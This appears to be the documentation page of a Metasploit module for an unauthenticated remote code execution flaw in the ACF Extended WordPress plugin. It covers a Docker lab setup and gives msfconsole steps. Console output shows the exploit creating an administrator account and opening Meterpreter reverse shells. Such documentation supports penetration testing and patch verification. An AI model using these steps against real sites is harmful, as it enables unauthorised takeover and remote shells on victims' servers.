Files

7.0 KiB

Vulnerable Application

This module exploits an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5 through 0.9.1.1.

The vulnerability exists in the prepare_form() function of the acfe_module_form_front_render class, which accepts user-controlled input via the form[render] parameter and passes it directly to call_user_func_array() without proper sanitization.

Setup

Docker Compose Setup

  1. Create a docker-compose.yml file:
services:
  wordpress:
    image: wordpress:6.3.2
    container_name: wp-acf-extended-lab
    restart: always
    ports:
      - 5557:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wordpress:/var/www/html
    depends_on:
      - db

  db:
    image: mysql:5.7
    container_name: wp-acf-extended-db
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_RANDOM_ROOT_PASSWORD: '1'
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:
  1. Start the containers:
docker compose up -d
sleep 10
  1. Install WP-CLI:
docker exec wp-acf-extended-lab curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
docker exec wp-acf-extended-lab bash -c "chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
  1. Install WordPress:
docker exec wp-acf-extended-lab wp core install \
  --path='/var/www/html' \
  --url='http://localhost:5557' \
  --title='Exploit Market' \
  --admin_user='admin' \
  --admin_password='admin' \
  --admin_email='admin@example.com' \
  --allow-root
  1. Configure WordPress:
docker exec wp-acf-extended-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab wp theme install twentytwentyone --activate --path='/var/www/html' --allow-root
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content
  1. Install ACF Pro:
git clone https://github.com/wordpress-premium/advanced-custom-fields-pro.git
docker cp advanced-custom-fields-pro wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/advanced-custom-fields-pro
docker exec -u www-data wp-acf-extended-lab wp plugin activate advanced-custom-fields-pro --path='/var/www/html'
  1. Install vulnerable ACF Extended (version 0.9.1.1):
wget https://downloads.wordpress.org/plugin/acf-extended.0.9.1.1.zip
unzip acf-extended.0.9.1.1.zip
docker cp acf-extended wp-acf-extended-lab:/var/www/html/wp-content/plugins/
docker exec wp-acf-extended-lab chown -R www-data:www-data /var/www/html/wp-content/plugins/acf-extended
docker exec -u www-data wp-acf-extended-lab wp plugin activate acf-extended --path='/var/www/html'
  1. Create ACF Extended Form:
docker exec wp-acf-extended-lab wp eval '
$form_data = array(
    "post_title" => "Contact Form",
    "post_type" => "acfe-form",
    "post_status" => "publish",
    "post_content" => "",
    "meta_input" => array(
        "acfe_form_name" => "contact",
        "acfe_form_label" => "Contact Form"
    )
);
$form_id = wp_insert_post($form_data);
echo "Form created with ID: " . $form_id . "\n";
' --path='/var/www/html' --allow-root
  1. Create a page with the form:
docker exec wp-acf-extended-lab wp post create \
  --post_type=page \
  --post_title='Contact' \
  --post_status=publish \
  --post_content='[acfe_form name="contact"]' \
  --path='/var/www/html' \
  --allow-root
  1. Get the page ID (needed for NONCE_PAGE option):
docker exec wp-acf-extended-lab wp post list --post_type=page --title='Contact' --fields=ID,post_title --path='/var/www/html' --allow-root

The vulnerable WordPress installation will be accessible at http://localhost:5557.

Verification Steps

  1. Start msfconsole
  2. use exploit/multi/http/wp_acf_extended_rce
  3. set RHOSTS <target>
  4. set NONCE_PAGE <path_to_page_with_form> (e.g., /contact or /?page_id=5)
  5. set PAYLOAD php/meterpreter/reverse_tcp (or any compatible payload)
  6. set LHOST <your_ip>
  7. check
  8. exploit

Options

NONCE_PAGE

Path to a WordPress page containing an ACF Extended form widget. This is required to extract the nonce token needed for exploitation.

Examples:

  • /contact
  • /contact-us
  • /?page_id=5
  • /about-us

USERNAME

Username for the administrator account to be created. Defaults to a randomly generated username using Faker.

PASSWORD

Password for the administrator account to be created. Defaults to a randomly generated password using Faker (minimum 8 characters).

EMAIL

Email address for the administrator account to be created. Defaults to a randomly generated email using Faker.

Scenarios

Target 0: PHP In-Memory (php/meterpreter/reverse_tcp)

msf6 > use exploit/multi/http/wp_acf_extended_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > set RHOSTS localhost
RHOSTS => localhost
msf6 exploit(multi/http/wp_acf_extended_rce) > set RPORT 5557
RPORT => 5557
msf6 exploit(multi/http/wp_acf_extended_rce) > set NONCE_PAGE /?page_id=5
NONCE_PAGE => /?page_id=5
msf6 exploit(multi/http/wp_acf_extended_rce) > set LHOST 192.168.48.1
LHOST => 192.168.48.1
msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/wp_acf_extended_rce) > check
[*] 127.0.0.1:5557 - The target appears to be vulnerable.
[*] ::1:5557 - The target appears to be vulnerable.
msf6 exploit(multi/http/wp_acf_extended_rce) > run

[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4457 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (41224 bytes) to 192.168.48.3
[+] Deleted ajax_pjuhk.php
[+] Deleted wp_asnp8.php
[+] Deleted ../wp_asnp8
[*] Meterpreter session 1 opened (192.168.48.1:4457 -> 192.168.48.3:42492) at 2025-12-09 21:32:56 +0100

Target 1: Unix/Linux Command Shell (cmd/linux/http/x64/meterpreter/reverse_tcp)

msf6 exploit(multi/http/wp_acf_extended_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/wp_acf_extended_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_acf_extended_rce) > run

[*] Exploiting target 127.0.0.1
[*] Started reverse TCP handler on 192.168.48.1:4460 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Administrator account created successfully
[*] Sending stage (3090404 bytes) to 192.168.48.3
[+] Deleted ajax_tg3g2.php
[+] Deleted wp_a08m2.php
[+] Deleted ../wp_a08m2
[*] Meterpreter session 2 opened (192.168.48.1:4460 -> 192.168.48.3:53984) at 2025-12-09 21:34:08 +0100